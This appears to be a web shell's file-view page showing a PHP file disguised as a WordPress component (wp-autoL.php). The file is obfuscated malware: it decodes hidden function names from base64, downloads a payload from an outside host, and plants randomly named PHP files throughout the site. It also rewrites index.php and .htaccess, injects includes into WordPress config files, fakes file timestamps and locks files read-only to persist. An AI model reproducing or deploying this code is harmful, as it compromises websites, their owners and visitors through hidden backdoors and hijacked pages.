HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-autoL.php
<?php $Lmw = expLOde('~',basE64_Decode('ZXJyb3JfcmVwb3J0aW5nfnNldF90aW1lX2xpbWl0fmlnbm9yZV91c2VyX2Fib3J0fnVubGlua35zdHJzdHJ+c3RyX3JlcGxhY2V+Y2hkaXJ+c3Vic3RyfnByZWdfcmVwbGFjZX5maWxlX2V4aXN0c35zdHJ0b3VwcGVyfnN0cmxlbn5iYXNlNjRfZW5jb2RlfnJlbmFtZX5vcGNhY2hlX3Jlc2V0fmZ1bmN0aW9uX2V4aXN0c35zdHJlYW1fY29udGV4dF9jcmVhdGV+ZmlsZV9nZXRfY29udGVudHN+Y3VybF9pbml0fmN1cmxfc2V0b3B0fmN1cmxfZXhlY35jdXJsX2Nsb3NlfnN0cnBvc35leHBsb2RlfnNpemVvZn5pbXBsb2RlfmNocn5zdHJ0b2xvd2VyfmRpcm5hbWV+bWtkaXJ+Zm9wZW5+ZndyaXRlfmZjbG9zZX50b3VjaH5nbG9ifmZpbGVtdGltZX5hcnJheV9yYW5kfmFycmF5X3B1c2h+b3BlbmRpcn5yZWFkZGlyfmlzX2Rpcn5pc19saW5rfnByZWdfbWF0Y2h+c3Vic3RyX2NvdW50fnNodWZmbGU=')); $Lmw[1](60);$Lmw[2](1); $dCX = $_GET; $MbK = $_SERVER; $vPF = !empty($dCX['a'])?$dCX['a']:0; $XWo = !empty($dCX['b'])?$dCX['b']:'l'; function iLbZ($vPF){ $tMx = eXPlode('~',baSE64_DECOde('U0NSSVBUX0ZJTEVOQU1FflNDUklQVF9GSUxFTkFNRX5cXH5QSFBfU0VMRn4vflxcflBIUF9TRUxGflBIUF9TRUxGfn5TQ1JJUFRfRklMRU5BTUV+L34vcm9ib3RzLnR4dH4vc2l0ZW1hcC54bWx+L2Vycm9yX2xvZ35odHRwOi9+L2NkbjIwLn5pc2FwaTI1dGVtcC5+eHl6L19hcGlffmh5X2sxNzYzMzY0OTQ0Ln5waHA/dWl+ZD01ODI4JnRtPX5IVFRQX0hPU1R+SFRUUFN+SFRUUFN+b25+aHR0cHN+aHR0cH46Ly9+L34vW3cwLTlcLi1dL35+d3d3Ln5+PX4xMX5pbmRleC5waHB+Lmh0YWNjZXNzfnd3d34ufi1+fkhUVFBfSE9TVH53cC1jb25maWd+Ln5lfiJlIn4ifiJ+d3AtaW5jbHVkZXN+d3Atc2V0dGluZ3MucGhwfmNnaS1iaW4vLn4jTm90V3JpdGV+NW1kfldQfndwLWNvbmZpZ34ufndwLWlufi5waHB+RGlyZWN0b3J5SW5kZXh+RGlyZWN0b3J5SW5kZXggfndwLWFkbWluL29wdGlvbnMtfi5waHB+UEhQfjw/cGhwIEBpbmNsdWRlX29uY2UoIn4iKTsgPz5+PD9waHAgaWYoZmlsZV9leGlzdHMoImluZGV4Lmh0bWwiKSl7aW5jbHVkZSgiaW5kZXguaHRtbCIpO31lbHNle0BpbmNsdWRlKCJfaW5kZXguaHRtbCIpO30/Pn4vaW5kZXguaHRtbH4vX2luZGV4Lmh0bWx+PGEgaHJlZj0iP2E9MiZzPX4iPmF1dG8xMTwvYT5+Y3VybF9leGVjfmh0dHB+bWV0aG9kfkdFVH50aW1lb3V0fjt+O34jRXJyb3J+bXNnfm1zZ347fjt+Y2FjaGV+aW1hZ2VzfmFzc2V0c353cC1hZG1pbn53cC1jb250ZW50fndwLWluY2x1ZGVzfm1zZ35TSDp+aW5kZXh+L34ucGhwfm1zZ34vKF9fTUFDT1NYfGNnaS1iaW58cGx1Z2luc3xha2lzbWV0fHVwbG9hZHMpL34vaW5kZXgucGhw')); return $tMx[$vPF]; } if ($vPF) { @$Lmw[3](__FILE__); @$Lmw[3]($MbK[iLbZ(0)]); if($Lmw[4]($MbK[iLbZ(0)],iLbZ(2))) $MbK[iLbZ(3)] = $Lmw[5](iLbZ(4), iLbZ(2),$MbK[iLbZ(3)]); define('W', rtrim($Lmw[5]($MbK[iLbZ(3)],iLbZ(8),$MbK[iLbZ(0)]),iLbZ(4))); @$Lmw[6](W); @$Lmw[3](W.iLbZ(11)); @$Lmw[3](W.iLbZ(12)); @$Lmw[3](W.iLbZ(13)); $VIp = iLbZ(14).iLbZ(15).iLbZ(16).iLbZ(17).iLbZ(18).iLbZ(19).iLbZ(20).$XWo; $ioU = $MbK[iLbZ(21)]; $ioU = ((isset($MbK[iLbZ(22)]) && $MbK[iLbZ(22)]==iLbZ(24)) ? iLbZ(25) : iLbZ(26)).iLbZ(27).$ioU.iLbZ(28).'17'.$Lmw[7]($Lmw[8](iLbZ(29), iLbZ(8),$Lmw[5](iLbZ(31), iLbZ(8),$ioU)),0,2).date(iLbZ(52)).'.html'; $wZO = SEJr($VIp); $pKF = iLbZ(35); $tMx = iLbZ(36); $Syu = tdiw()+2; $_N1 = substr(str_replace(array(iLbZ(37),iLbZ(38),iLbZ(39)),iLbZ(8),$MbK[iLbZ(21)]),0,4); $_N2 = str_replace(iLbZ(42),iLbZ(38).$_N1,NOJz($wZO[2])); $fUV = NOJz($wZO[0]); $ArI = NOJz($wZO[6]); if($XWo!=iLbZ(44)) $ArI = $Lmw[5](iLbZ(45), iLbZ(46).$XWo.iLbZ(46),$ArI); $hkU = ($Lmw[9](iLbZ(48)) && $Lmw[9](iLbZ(49))); $dCX = iLbZ(50).$_N1; if($hkU) $dCX = $_N2; @$Lmw[3]($dCX); rSSw($dCX,$ArI,$Syu); if(!$Lmw[9]($dCX)) { exit(iLbZ(51));} VnGu($ioU); VnGu($Lmw[10]($XWo)); if($hkU) { VnGu(iLbZ(53)); $awP = str_replace(iLbZ(42),iLbZ(38).$_N1,NOJz($wZO[1])); @$Lmw[3]($pKF);rSSw($pKF,$awP,$Syu); $_N3 = iLbZ(56).substr($_N1,0,3).iLbZ(57); rSSw($_N3,$awP,$Syu,1); $fUV = str_replace(iLbZ(58), iLbZ(59).$_N3,$fUV); $BLs = iLbZ(60).NbvW(6,2).iLbZ(57); if($Lmw[11](@$wZO[3])>99) VnGu(rSSw($BLs,NOJz($wZO[3]))); } else { VnGu(iLbZ(62)); $hdg = iLbZ(63).$dCX.iLbZ(64); if($Lmw[9]($pKF)) { fzOF($pKF,$hdg,1,$dCX); } else { $hdg .= iLbZ(65); @$Lmw[3]($pKF);rSSw($pKF,$hdg,$Syu); @$Lmw[13](W.iLbZ(66),W.iLbZ(67)); } } @$Lmw[3]($tMx);rSSw($tMx,$fUV,$Syu,1); if($Lmw[11](@$wZO[5])>3) rSSw(NOJz($wZO[5]),NOJz($wZO[4])); $PRD = []; VnGu(NbfK()); } else { exit(iLbZ(68).time().iLbZ(69)); } function SEJr($VIp) {global $Lmw; if(!$Lmw[15](iLbZ(70))){ $tMx = $Lmw[16](array(iLbZ(26)=>array(iLbZ(72)=>iLbZ(73), iLbZ(74)=>18))); $MbK = @$Lmw[17]($VIp, false, $tMx); }else{ $Syu = $Lmw[18](); $Lmw[19]($Syu, CURLOPT_URL, $VIp); $Lmw[19]($Syu, CURLOPT_RETURNTRANSFER, 1); $Lmw[19]($Syu, CURLOPT_SSL_VERIFYPEER, false); $Lmw[19]($Syu, CURLOPT_TIMEOUT, 18); $MbK = $Lmw[20]($Syu); $Lmw[21]($Syu); } if(!empty($MbK) && $Lmw[22]($MbK,iLbZ(75))) $vPF = $Lmw[23](iLbZ(75),$MbK); if(!empty($vPF) && $Lmw[24]($vPF)>9) return $vPF; exit(iLbZ(77)); } function VnGu($vPF) {global $Lmw; if (!empty($vPF[iLbZ(78)])) { echo $Lmw[25](',',$vPF[iLbZ(78)]).iLbZ(75); } else { echo $vPF.iLbZ(75); } } function NbfK() { global $Lmw, $wZO, $PRD, $hkU; WWjA(W); $vPF = count($PRD); $tMx = array(); if(count($PRD)<3) $tMx = array(NbvW(5),iLbZ(82), iLbZ(83), iLbZ(84)); if($hkU) $tMx = array(iLbZ(85), iLbZ(86), iLbZ(48)); if($vPF>1) { $Syu = $Lmw[36]($PRD, $vPF); foreach($Syu as $i) { $Lmw[37]($tMx, $PRD[$i]); } }else{ $Lmw[37]($tMx, @$PRD[0]); } $fUV = []; $fUV[iLbZ(78)][] = iLbZ(89); $II = 4; $JJ = 7; foreach($tMx as $i=>$v) { if(!$Lmw[9]($v)) $Lmw[29]($v); $awP = $Lmw[27](NbvW(5)); switch ($II) { case 4: $awP = 'e'.$awP;break; case 5: $awP = 'm'.$awP;break; case 6: $awP = 'l'.$awP;break; case 7: case 8: case 9: $awP = iLbZ(90);break; default: $awP = 'x'.$awP; } $ArI = $v.iLbZ(4).$awP.iLbZ(57); $dCX = NOJz($wZO[$JJ]); $II++; $JJ++; if($JJ>10) $JJ = 7; $fUV[iLbZ(78)][] = rSSw($ArI,$dCX); if($II>10) break; } if($hkU) { if($Lmw[11](@$wZO[11])>3) rSSw(NOJz($wZO[11]),NOJz($wZO[10])); } else { if($Lmw[11](@$wZO[12])>3) rSSw(NOJz($wZO[12]),NOJz($wZO[10])); } if($Lmw[11](@$wZO[13])>3) rSSw(NOJz($wZO[13]),NOJz($wZO[10])); return $fUV; } function WWjA($vPF) { global $Lmw, $PRD, $hkU; if ($tMx = $Lmw[38]($vPF)) { while (($Syu = $Lmw[39]($tMx)) !== false) { if ($Syu != '.' && $Syu != '..') { $fUV = $vPF . '/' . $Syu; if ($Lmw[40]($fUV) && !$Lmw[41]($fUV) &&!$Lmw[42](iLbZ(94),$Syu)) { $awP = $Lmw[5](W.'/','',$fUV); if ($Lmw[43]($awP,'/')<3) { WWjA($fUV); } $N=0; if($hkU) $N=3; if(!$Lmw[9]($fUV.iLbZ(95)) && $Lmw[43]($awP,'/')>=$N) $Lmw[37]($PRD, $awP); } } } } $Lmw[44]($PRD); } function NOJz($s) {global $Lmw;$S = '';$a = $Lmw[23]('.',trim($s,'.'));foreach($a as $v) {$S .= $Lmw[26]($v);}return $S;} function NbvW($n=5,$t=0) {global $Lmw;$arr = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h','i', 'j', 'k', 'l','m', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y','z','A', 'B', 'C', 'D', 'E', 'F', 'G', 'H','I', 'J', 'K', 'L','M', 'N', 'O', 'P', 'Q', 'R', 'S','T', 'U', 'V', 'W', 'X', 'Y','Z');$s = '';for($i = 0; $i < $n; $i++) {$s .= $arr[mt_rand(0, $Lmw[24]($arr) - 1)];}return ($t==1 ? $Lmw[10]($s) : ($t==2 ? $Lmw[27]($s) : $s));} function rSSw($F,$C,$T='',$mod=0) {global $Lmw;if(!$Lmw[4]($F,W)) $F = W.'/'.$F;$dir = $Lmw[28]($F);if(!empty($dir)&&!$Lmw[9]($dir)) @$Lmw[29]($dir);$fp = @$Lmw[30]($F, 'w');@$Lmw[31]($fp, trim($C));@$Lmw[32]($fp);if(empty($T)) $T = time()-86400*266;$T = $T+rand(1,3600);@$Lmw[33]($F, $T);if($mod) @chmod($F,0444);return ($Lmw[9]($F) ? $Lmw[5](W,'',$F) : '~');} function tdiw() {global $Lmw;$Syu = time()-rand(10,100)*86400;$tArr = $Lmw[34](W.'/*.php');foreach($tArr as $v) {$Syu2 = @$Lmw[35]($v); if($Syu2>100&&$Syu2<$Syu) $Syu = $Syu2;}return $Syu;} function fzOF($F,$C,$T=1,$K='~') {global $Lmw;if(!$Lmw[4]($F,W)) $F = W.'/'.$F;if($Lmw[9]($F)) {$code = @$Lmw[17]($F);if(!empty($code)&&$Lmw[22]($code,$K)===false) {if($T==2) {$code = $code.$C;} else{$code = $C.$code;} $t = @$Lmw[35]($F);if(!$Lmw[9]($F.'.0')) @$Lmw[13]($F,$F.'.0');return rSSw($F,$code,$t+2);}return '~';}}